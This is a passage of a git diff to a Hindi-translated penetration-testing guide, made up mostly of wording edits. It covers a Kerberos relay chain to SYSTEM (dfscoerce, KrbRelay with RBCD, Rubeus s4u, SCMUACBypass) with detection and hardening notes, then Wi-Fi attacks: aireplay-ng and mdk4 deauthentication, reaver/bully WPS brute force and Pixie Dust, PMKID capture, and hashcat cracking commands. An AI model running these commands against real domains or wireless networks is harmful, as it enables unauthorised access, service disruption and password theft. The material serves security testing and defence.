ही `$` मशीन खाते पर होते हैं)। यह काम करता है भले ही SPNs की **सेवा श्रेणियाँ भिन्न** हों (जैसे `CIFS/` → `LDAP/`) क्योंकि *कुंजी* जो टिकट को डिक्रिप्ट करती है वह मशीन का NT हैश है, न कि SPN स्ट्रिंग स्वयं और SPN स्ट्रिंग हस्ताक्षर का हिस्सा नहीं है। NTLM रिले के विपरीत, कूद *एक ही होस्ट* तक सीमित है लेकिन, यदि आप एक प्रोटोकॉल को लक्षित करते हैं जो आपको LDAP में लिखने की अनुमति देता है, तो आप **Resource-Based Constrained Delegation (RBCD)** या **AD CS नामांकन** में चेन कर सकते हैं और एक ही बार में **NT AUTHORITY\SYSTEM** को पॉप कर सकते हैं। @@ -131,10 +132,10 @@ NTLM रिले के विपरीत, कूद *एक ही होस | टोकन | उद्देश्य | रिले प्रासंगिकता | |-------|---------|-----------------| | **TGT / AS-REQ ↔ REP** | KDC के लिए उपयोगकर्ता को प्रमाणित करता है | बिना छेड़छाड़ | -| **सेवा टिकट / TGS-REQ ↔ REP** | एक **SPN** से बंधा; SPN मालिक की कुंजी से एन्क्रिप्ट किया गया | यदि SPNs खाते को साझा करते हैं तो आपस में बदलने योग्य | +| **सेवा टिकट / TGS-REQ ↔ REP** | एक **SPN** से बंधा; SPN मालिक की कुंजी से एन्क्रिप्ट किया गया | यदि SPNs खाता साझा करते हैं तो आपस में बदलने योग्य | | **AP-REQ** | क्लाइंट सेवा को `TGS` भेजता है | **जो हम चुराते हैं और पुनः खेलते हैं** | -* टिकट **SPN के मालिक के खाते की पासवर्ड-व्युत्पन्न कुंजी** से एन्क्रिप्ट होते हैं। +* टिकटों को **SPN के मालिक के खाते की पासवर्ड-व्युत्पन्न कुंजी** से एन्क्रिप्ट किया गया है। * AP-REQ के अंदर **Authenticator** में 5-मिनट का टाइमस्टैम्प होता है; उस विंडो के अंदर पुनः खेलना तब तक मान्य है जब तक सेवा कैश एक डुप्लिकेट नहीं देखता। * Windows शायद ही कभी यह जांचता है कि टिकट में SPN स्ट्रिंग उस सेवा से मेल खाती है जिसे आप हिट करते हैं, इसलिए `CIFS/HOST` के लिए एक टिकट सामान्यतः `LDAP/HOST` पर ठीक से डिक्रिप्ट होता है। @@ -169,7 +170,7 @@ Select Name,servicePrincipalName # coerce DC to auth over SMB with DFSCoerce .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 ``` -DFSCoerce DC को हमें एक Kerberos `CIFS/DC01` टिकट भेजने के लिए मजबूर करता है। +DFSCoerce DC को Kerberos `CIFS/DC01` टिकट भेजने के लिए मजबूर करता है। - 3.4 **AP-REQ को रिले करें** @@ -183,42 +184,42 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt SCMUACBypass.exe ``` -You now own **NT AUTHORITY\SYSTEM**. +आप अब **NT AUTHORITY\SYSTEM** के मालिक हैं। -### **More paths worth knowing** +### **जानने लायक और रास्ते** -| Vector | Trick | Why it matters | +| वेक्टर | चाल | यह क्यों महत्वपूर्ण है | |--------|-------|----------------| -| **AuthIP / IPSec** | Fake server sends a **GSS-ID payload** with any SPN; client builds an AP-REQ straight to you | Works even across subnets; machine creds by default | -| **DCOM / MSRPC** | Malicious OXID resolver forces client to auth to arbitrary SPN and port | Pure *local* priv-esc; sidesteps firewall | -| **AD CS Web Enroll** | Relay machine ticket to `HTTP/CA` and get a cert, then **PKINIT** to mint TGTs | Bypasses LDAP signing defenses | -| **Shadow Credentials** | Write `msDS-KeyCredentialLink`, then PKINIT with forged key pair | No need to add a computer account | +| **AuthIP / IPSec** | नकली सर्वर किसी भी SPN के साथ **GSS-ID पेलोड** भेजता है; क्लाइंट सीधे आपके लिए AP-REQ बनाता है | यह सबनेट के पार भी काम करता है; मशीन क्रेडेंशियल्स डिफ़ॉल्ट रूप से | +| **DCOM / MSRPC** | दुर्भावनापूर्ण OXID रिसोल्वर क्लाइंट को मनमाने SPN और पोर्ट पर प्रमाणीकरण करने के लिए मजबूर करता है | शुद्ध *स्थानीय* प्रिव-एस्क; फ़ायरवॉल को बायपास करता है | +| **AD CS वेब एनरोल** | `HTTP/CA` पर मशीन टिकट को रिले करें और एक प्रमाणपत्र प्राप्त करें, फिर **PKINIT** का उपयोग करके TGT बनाएं | LDAP साइनिंग सुरक्षा को बायपास करता है | +| **शैडो क्रेडेंशियल्स** | `msDS-KeyCredentialLink` लिखें, फिर जाली कुंजी जोड़ी के साथ PKINIT करें | कंप्यूटर खाता जोड़ने की आवश्यकता नहीं | -### **Troubleshooting** +### **समस्या निवारण** -| Error | Meaning | Fix | +| त्रुटि | अर्थ | समाधान | |-------|---------|-----| | `KRB_AP_ERR_MODIFIED` | टिकट कुंजी ≠ लक्ष्य कुंजी | गलत होस्ट/SPN | | `KRB_AP_ERR_SKEW` | घड़ी > 5 मिनट का अंतर | समय समन्वयित करें या `w32tm` का उपयोग करें | | LDAP बाइंड विफल | साइनिंग लागू | AD CS पथ का उपयोग करें या साइनिंग बंद करें | -| इवेंट 4649 स्पैम | सेवा ने डुप्लिकेट ऑथेंटिकेटर देखा | मूल पैकेट को ब्लॉक करें या रेस करें | +| इवेंट 4649 स्पैम | सेवा ने डुप्लिकेट प्रमाणीकरण देखा | मूल पैकेट को ब्लॉक या रेस करें | -### **Detection** +### **पता लगाना** -* **Event 4769** में एक ही स्रोत से `CIFS/`, `HTTP/`, `LDAP/` के लिए वृद्धि। -* सेवा पर **Event 4649** पुनःप्राप्ति का संकेत देती है। -* **127.0.0.1** से Kerberos लॉगिन (स्थानीय SCM के लिए रिले) अत्यधिक संदिग्ध है—KrbRelayUp दस्तावेज़ों में Sigma नियम के माध्यम से मैप करें। +* एक ही स्रोत से **इवेंट 4769** में वृद्धि `CIFS/`, `HTTP/`, `LDAP/` के लिए सेकंडों के भीतर। +* सेवा पर **इवेंट 4649** पुनःप्रेषण का संकेत देता है। +* **127.0.0.1** से केर्बेरोस लॉगिन (स्थानीय SCM के लिए रिले) अत्यधिक संदिग्ध है—KrbRelayUp दस्तावेज़ों में सिग्मा नियम के माध्यम से मानचित्रण करें। * `msDS-AllowedToActOnBehalfOfOtherIdentity` या `msDS-KeyCredentialLink` विशेषताओं में परिवर्तनों पर नज़र रखें। -## **Hardening** +## **सुरक्षा बढ़ाना** -1. **हर सर्वर पर LDAP & SMB साइनिंग + EPA** लागू करें। +1. हर सर्वर पर **LDAP & SMB साइनिंग + EPA** लागू करें। 2. **SPNs को विभाजित करें** ताकि HTTP CIFS/LDAP के समान खाते पर न हो। 3. मजबूरण वेक्टर को पैच करें (PetitPotam KB5005413, DFS, AuthIP)। -4. **`ms-DS-MachineAccountQuota = 0`** सेट करें ताकि अवैध कंप्यूटर जुड़ाव रुक सके। -5. **Event 4649** और अप्रत्याशित लूपबैक Kerberos लॉगिन पर अलर्ट करें। +4. **`ms-DS-MachineAccountQuota = 0`** सेट करें ताकि बागी कंप्यूटर जुड़ाव को रोका जा सके। +5. **इवेंट 4649** और अप्रत्याशित लूपबैक केर्बेरोस लॉगिन पर अलर्ट करें। -## References +## संदर्भ - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index dc3a89f51..6ef31f126 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis ### Hijacker & NexMon (एंड्रॉइड आंतरिक Wi-Fi) + {{#ref}} enable-nexmon-monitor-and-injection-on-android.md {{#endref}} @@ -67,13 +68,13 @@ sudo python setup.py install # Install any dependencies - यदि WPA-PSK - यदि WPS: पिक्सी डस्ट हमला और ब्रूटफोर्स हमला (सावधान रहें, ब्रूट-फोर्स हमला लंबा समय ले सकता है)। ध्यान दें कि यह शून्य PIN या डेटाबेस/जनरेटेड PINs का प्रयास नहीं करता है। - इसे क्रैक करने के लिए AP से PMKID कैप्चर करने का प्रयास करें -- एक हैंडशेक कैप्चर करने के लिए AP के क्लाइंट को डिअथेंटिकेट करने का प्रयास करें +- एक हैंडशेक कैप्चर करने के लिए AP के क्लाइंट को डिऑथेंटिकेट करने का प्रयास करें - यदि PMKID या हैंडशेक, तो शीर्ष 5000 पासवर्ड का उपयोग करके ब्रूटफोर्स करने का प्रयास करें। ## हमलों का सारांश - **DoS** -- डिअथेंटिकेशन/डिसएसोसिएशन -- सभी को डिस्कनेक्ट करें (या एक विशिष्ट ESSID/क्लाइंट) +- डिऑथेंटिकेशन/डिसएसोसिएशन -- सभी को डिस्कनेक्ट करें (या एक विशिष्ट ESSID/क्लाइंट) - यादृच्छिक नकली APs -- नेटवर्क छिपाएं, संभावित स्कैनर्स को क्रैश करें - AP को ओवरलोड करें -- AP को मारने का प्रयास करें (आमतौर पर बहुत उपयोगी नहीं) - WIDS -- IDS के साथ खेलें @@ -97,25 +98,25 @@ sudo python setup.py install # Install any dependencies ## DOS -### डिअथेंटिकेशन पैकेट्स +### डिऑथेंटिकेशन पैकेट्स -**विवरण** [**यहां**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** +**यहाँ से** [**विवरण**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -**डिअथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चिंताजनक, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण निहितार्थ है। +**डिऑथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चौंकाने वाली, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण निहितार्थ है। -**Aireplay-ng का उपयोग करके डिअथेंटिकेशन** +**Aireplay-ng का उपयोग करके डिऑथेंटिकेशन** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` -- -0 का मतलब है डिऑथेंटिकेशन -- 1 डिऑथ्स की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है कि उन्हें लगातार भेजें +- -0 का मतलब है डिअथेंटिकेशन +- 1 डिअथ्स की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है कि उन्हें लगातार भेजें - -a 00:14:6C:7E:40:80 एक्सेस पॉइंट का MAC पता है -- -c 00:0F:B5:34:30:30 क्लाइंट का MAC पता है जिसे डिऑथेंटिकेट करना है; यदि इसे छोड़ दिया जाए तो ब्रॉडकास्ट डिऑथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता) +- -c 00:0F:B5:34:30:30 क्लाइंट का MAC पता है जिसे डिअथेंटिकेट करना है; यदि इसे छोड़ दिया जाए तो ब्रॉडकास्ट डिअथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता) - ath0 इंटरफेस का नाम है ### डिसएसोसिएशन पैकेट्स -**डिसएसोसिएशन पैकेट्स**, डिऑथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए कार्य करते हैं। डिसएसोसिएशन और डिऑथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **डिऑथेंटिकेशन पैकेट्स को नेटवर्क से बुरे डिवाइसों को स्पष्ट रूप से हटाने के लिए उत्सर्जित करता है, डिसएसोसिएशन पैकेट्स आमतौर पर तब भेजे जाते हैं जब AP बंद हो रहा है**, पुनः आरंभ हो रहा है, या स्थानांतरित हो रहा है, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है। +**डिसएसोसिएशन पैकेट्स**, डिअथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए होते हैं। डिसएसोसिएशन और डिअथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **डिअथेंटिकेशन पैकेट्स को नेटवर्क से बुरे डिवाइसों को स्पष्ट रूप से हटाने के लिए उत्सर्जित करता है, डिसएसोसिएशन पैकेट्स आमतौर पर तब भेजे जाते हैं जब AP बंद हो रहा है**, पुनः आरंभ हो रहा है, या स्थानांतरित हो रहा है, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है। **यह हमला mdk4(mode "d") द्वारा किया जा सकता है:** ```bash @@ -164,7 +165,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] ``` **ATTACK MODE e: EAPOL Start और Logoff Packet Injection** -एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ देना **फर्जी सत्र** बनाता है, AP को ओवरलोड करता है और वैध क्लाइंट्स को ब्लॉक करता है। वैकल्पिक रूप से, **फर्जी EAPOL Logoff संदेश** इंजेक्ट करना क्लाइंट्स को मजबूरन डिस्कनेक्ट करता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं। +एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ देना **फर्जी सत्र** बनाता है, AP को अभिभूत करता है और वैध क्लाइंट्स को ब्लॉक करता है। वैकल्पिक रूप से, **फर्जी EAPOL Logoff संदेश** इंजेक्ट करना क्लाइंट्स को मजबूरन डिस्कनेक्ट करता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं। ```bash # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] @@ -175,7 +176,7 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] **ATTACK MODE w: WIDS भ्रम** -क्लाइंट्स को कई WDS नोड्स या नकली रॉग APs से क्रॉस-कनेक्ट करना Intrusion Detection और Prevention Systems को प्रभावित कर सकता है, जिससे भ्रम और संभावित सिस्टम दुरुपयोग उत्पन्न होता है। +क्लाइंट्स को कई WDS नोड्स या फर्जी रॉग APs से क्रॉस-कनेक्ट करना Intrusion Detection और Prevention Systems को प्रभावित कर सकता है, जिससे भ्रम और संभावित सिस्टम दुरुपयोग उत्पन्न होता है। ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] @@ -192,7 +193,7 @@ _**Airgeddon**_ पिछले टिप्पणियों में प् ## WPS -WPS (Wi-Fi Protected Setup) उपकरणों को राउटर से जोड़ने की प्रक्रिया को सरल बनाता है, **WPA** या **WPA2** व्यक्तिगत के साथ एन्क्रिप्टेड नेटवर्क के लिए सेटअप की गति और आसानी को बढ़ाता है। यह आसानी से समझौता किए जा सकने वाले WEP सुरक्षा के लिए अप्रभावी है। WPS एक 8-अंकीय PIN का उपयोग करता है, जिसे दो भागों में मान्य किया जाता है, जिससे यह सीमित संयोजनों (11,000 संभावनाएँ) के कारण ब्रूट-फोर्स हमलों के प्रति संवेदनशील हो जाता है। +WPS (Wi-Fi Protected Setup) उपकरणों को राउटर से जोड़ने की प्रक्रिया को सरल बनाता है, **WPA** या **WPA2** व्यक्तिगत के साथ एन्क्रिप्टेड नेटवर्क के लिए सेटअप की गति और आसानी को बढ़ाता है। यह आसानी से समझौता किए जा सकने वाले WEP सुरक्षा के लिए अप्रभावी है। WPS एक 8-अंक का PIN का उपयोग करता है, जिसे दो भागों में मान्य किया जाता है, जिससे यह सीमित संयोजनों (11,000 संभावनाएँ) के कारण ब्रूट-फोर्स हमलों के प्रति संवेदनशील हो जाता है। ### WPS Bruteforce @@ -217,20 +218,20 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 ### WPS पिक्सी डस्ट हमला -**डोमिनिक बोंगार्ड** ने कुछ एक्सेस पॉइंट्स (APs) में गुप्त कोड बनाने के संबंध में एक दोष खोजा, जिसे **नॉनसेस** (**E-S1** और **E-S2**) के रूप में जाना जाता है। यदि इन नॉनसेस का पता लगाया जा सकता है, तो AP के WPS PIN को क्रैक करना आसान हो जाता है। AP एक विशेष कोड (हैश) के भीतर PIN को प्रकट करता है ताकि यह साबित हो सके कि यह वैध है और एक नकली (रोग) AP नहीं है। ये नॉनसेस मूल रूप से "सुरक्षित" को "खोलने" के लिए "चाबियाँ" हैं जो WPS PIN को रखती हैं। इस पर अधिक जानकारी [यहाँ]() मिल सकती है। +**डोमिनिक बोंगार्ड** ने कुछ एक्सेस पॉइंट्स (APs) में गुप्त कोड बनाने के संबंध में एक दोष खोजा, जिसे **नॉनसेस** (**E-S1** और **E-S2**) के रूप में जाना जाता है। यदि इन नॉनसेस का पता लगाया जा सकता है, तो AP के WPS PIN को क्रैक करना आसान हो जाता है। AP एक विशेष कोड (हैश) के भीतर PIN को प्रकट करता है ताकि यह साबित हो सके कि यह वैध है और एक नकली (रोग) AP नहीं है। ये नॉनसेस मूल रूप से "सुरक्षित" को "खोलने" के लिए "चाबियाँ" हैं जो WPS PIN को रखती हैं। इस पर अधिक जानकारी [यहां]() मिल सकती है। -सरल शब्दों में, समस्या यह है कि कुछ APs ने कनेक्शन प्रक्रिया के दौरान PIN को एन्क्रिप्ट करने के लिए पर्याप्त यादृच्छिक कुंजियों का उपयोग नहीं किया। इससे PIN को नेटवर्क के बाहर से अनुमानित किया जा सकता है (ऑफलाइन ब्रूट फोर्स हमला)। +सरल शब्दों में, समस्या यह है कि कुछ APs ने कनेक्शन प्रक्रिया के दौरान PIN को एन्क्रिप्ट करने के लिए पर्याप्त यादृच्छिक चाबियाँ का उपयोग नहीं किया। इससे PIN को नेटवर्क के बाहर से अनुमानित किया जा सकता है (ऑफलाइन ब्रूट फोर्स हमला)। ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` -यदि आप डिवाइस को मॉनिटर मोड में स्विच नहीं करना चाहते हैं, या `reaver` और `bully` में कुछ समस्या है, तो आप [OneShot-C](https://github.com/nikita-yfh/OneShot-C) आजमा सकते हैं। यह उपकरण Pixie Dust हमले को मॉनिटर मोड में स्विच किए बिना करने में सक्षम है। +यदि आप डिवाइस को मॉनिटर मोड में स्विच नहीं करना चाहते हैं, या `reaver` और `bully` में कुछ समस्या है, तो आप [OneShot-C](https://github.com/nikita-yfh/OneShot-C) आजमा सकते हैं। यह उपकरण बिना मॉनिटर मोड में स्विच किए Pixie Dust हमला कर सकता है। ```bash ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ``` ### Null Pin हमला -कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को एक्सेस देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोरियों का परीक्षण करने में सक्षम है, जबकि **Bully** नहीं है। +कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को पहुँच देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोरी का परीक्षण करने में सक्षम है, जबकि **Bully** नहीं है। ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` @@ -248,7 +249,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ## **WEP** -अब यह बहुत टूटा हुआ और अप्रयुक्त है। बस जान लें कि _**airgeddon**_ के पास इस प्रकार की सुरक्षा पर हमला करने के लिए "All-in-One" नामक एक WEP विकल्प है। अधिक उपकरण समान विकल्प प्रदान करते हैं। +अब यह बहुत टूटा हुआ और अप्रयुक्त है। बस जान लें कि _**airgeddon**_ के पास इस प्रकार की सुरक्षा पर हमला करने के लिए "All-in-One" नामक एक WEP विकल्प है। कई उपकरण समान विकल्प प्रदान करते हैं। ![](<../../images/image (432).png>) @@ -268,7 +269,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ```bash PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` -"PMK नाम" स्थिर है, हमें AP और स्टेशन का BSSID पता है, और `PMK` एक पूर्ण 4-तरफा हैंडशेक से समान है, **hashcat** इस जानकारी का उपयोग करके PSK को क्रैक कर सकता है और पासफ़्रेज़ को पुनर्प्राप्त कर सकता है! +यह देखते हुए कि "PMK नाम" स्थिर है, हमें AP और स्टेशन का BSSID पता है, और `PMK` एक पूर्ण 4-तरफा हैंडशेक से समान है, **hashcat** इस जानकारी का उपयोग PSK को क्रैक करने और पासफ़्रेज़ को पुनर्प्राप्त करने के लिए कर सकता है! इस जानकारी को **इकट्ठा** करने और पासवर्ड को स्थानीय रूप से **ब्रूटफोर्स** करने के लिए आप कर सकते हैं: ```bash @@ -283,7 +284,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` कैप्चर किए गए **PMKIDs** **कंसोल** में दिखाए जाएंगे और **/tmp/attack.pcap** के अंदर भी **सहेजे** जाएंगे।\ -अब कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें: +अब, कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt @@ -299,14 +300,14 @@ hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` -_मैंने देखा है कि इस उपकरण के साथ कैप्चर किए गए कुछ हैंडशेक को सही पासवर्ड जानने के बावजूद क्रैक नहीं किया जा सका। मैं सुझाव दूंगा कि यदि संभव हो तो पारंपरिक तरीके से भी हैंडशेक कैप्चर करें, या इस उपकरण का उपयोग करके उनमें से कई कैप्चर करें।_ +_मैंने देखा है कि इस उपकरण से कैप्चर किए गए कुछ हैंडशेक को सही पासवर्ड जानने के बावजूद क्रैक नहीं किया जा सका। मैं सुझाव दूंगा कि यदि संभव हो तो पारंपरिक तरीके से भी हैंडशेक कैप्चर करें, या इस उपकरण का उपयोग करके उनमें से कई कैप्चर करें।_ ### हैंडशेक कैप्चर **WPA/WPA2** नेटवर्क पर एक हमला **हैंडशेक** को कैप्चर करके और पासवर्ड को **ऑफलाइन** **क्रैक** करने का प्रयास करके किया जा सकता है। इस प्रक्रिया में एक विशिष्ट नेटवर्क और **BSSID** के संचार की निगरानी करना शामिल है, एक विशेष **चैनल** पर। यहाँ एक संक्षिप्त मार्गदर्शिका है: 1. लक्ष्य नेटवर्क का **BSSID**, **चैनल**, और एक **कनेक्टेड क्लाइंट** पहचानें। -2. निर्दिष्ट चैनल और BSSID पर नेटवर्क ट्रैफ़िक की निगरानी करने के लिए `airodump-ng` का उपयोग करें, उम्मीद है कि एक हैंडशेक कैप्चर हो सके। कमांड इस तरह दिखेगा: +2. निर्दिष्ट चैनल और BSSID पर नेटवर्क ट्रैफ़िक की निगरानी करने के लिए `airodump-ng` का उपयोग करें, हैंडशेक कैप्चर करने की उम्मीद में। कमांड इस तरह दिखेगा: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` @@ -314,9 +315,9 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios ``` -_ध्यान दें कि जब क्लाइंट को डिऑथेंटिकेट किया गया, तो यह किसी अन्य AP या, अन्य मामलों में, किसी अन्य नेटवर्क से कनेक्ट करने की कोशिश कर सकता है।_ +_ध्यान दें कि जब क्लाइंट को डिऑथेंटिकेट किया गया, तो यह किसी अन्य AP से कनेक्ट करने की कोशिश कर सकता है या, अन्य मामलों में, किसी अन्य नेटवर्क से।_ -जब `airodump-ng` में कुछ हैंडशेक जानकारी दिखाई देती है, तो इसका मतलब है कि हैंडशेक कैप्चर किया गया है और आप सुनना बंद कर सकते हैं: +जब `airodump-ng` में कुछ हैंडशेक जानकारी दिखाई देती है, तो इसका मतलब है कि हैंडशेक कैप्चर किया गया था और आप सुनना बंद कर सकते हैं: ![](<../../images/image (172) (1).png>) @@ -338,7 +339,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the ``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` -_यदि यह उपकरण किसी ESSID का अधूरा हैंडशेक पूर्ण हैंडशेक से पहले पाता है, तो यह मान्य हैंडशेक का पता नहीं लगाएगा।_ +_यदि यह उपकरण किसी ESSID का अधूरा हैंडशेक पूरा होने से पहले पाता है, तो यह मान्य हैंडशेक का पता नहीं लगाएगा।_ **pyrit** ```bash @@ -347,7 +348,7 @@ pyrit -r psk-01.cap analyze ``` ## **WPA Enterprise (MGT)** -In **एंटरप्राइज WiFi सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, प्रत्येक विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियाँ शामिल हैं: +In **एंटरप्राइज WiFi सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, प्रत्येक विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियों में शामिल हैं: ``` 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` @@ -356,12 +357,12 @@ In **एंटरप्राइज WiFi सेटअप में, आप व 2. **EAP-MD5 (Message Digest 5)**: - इसमें क्लाइंट से पासवर्ड का MD5 हैश भेजना शामिल है। यह **सिफारिश नहीं की जाती** है क्योंकि यह शब्दकोश हमलों के प्रति संवेदनशील है, सर्वर प्रमाणीकरण की कमी है, और सत्र-विशिष्ट WEP कुंजी उत्पन्न करने में असमर्थ है। 3. **EAP-TLS (Transport Layer Security)**: -- प्रमाणीकरण के लिए क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों का उपयोग करता है और संचार को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजी को गतिशील रूप से उत्पन्न कर सकता है। +- प्रमाणीकरण के लिए क्लाइंट-साइड और सर्वर-साइड दोनों प्रमाणपत्रों का उपयोग करता है और संचार को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजी को गतिशील रूप से उत्पन्न कर सकता है। 4. **EAP-TTLS (Tunneled Transport Layer Security)**: - एक एन्क्रिप्टेड टनल के माध्यम से आपसी प्रमाणीकरण प्रदान करता है, साथ ही उपयोगकर्ता-विशिष्ट, सत्र-विशिष्ट WEP कुंजी निकालने की विधि भी। यह केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है, जिसमें क्लाइंट क्रेडेंशियल्स का उपयोग करते हैं। 5. **PEAP (Protected Extensible Authentication Protocol)**: - यह EAP के समान कार्य करता है, सुरक्षित संचार के लिए एक TLS टनल बनाता है। यह टनल द्वारा प्रदान की गई सुरक्षा के कारण EAP के शीर्ष पर कमजोर प्रमाणीकरण प्रोटोकॉल के उपयोग की अनुमति देता है। -- **PEAP-MSCHAPv2**: अक्सर PEAP के रूप में संदर्भित, यह कमजोर MSCHAPv2 चुनौती/प्रतिक्रिया तंत्र को एक सुरक्षात्मक TLS टनल के साथ जोड़ता है। +- **PEAP-MSCHAPv2**: अक्सर PEAP के 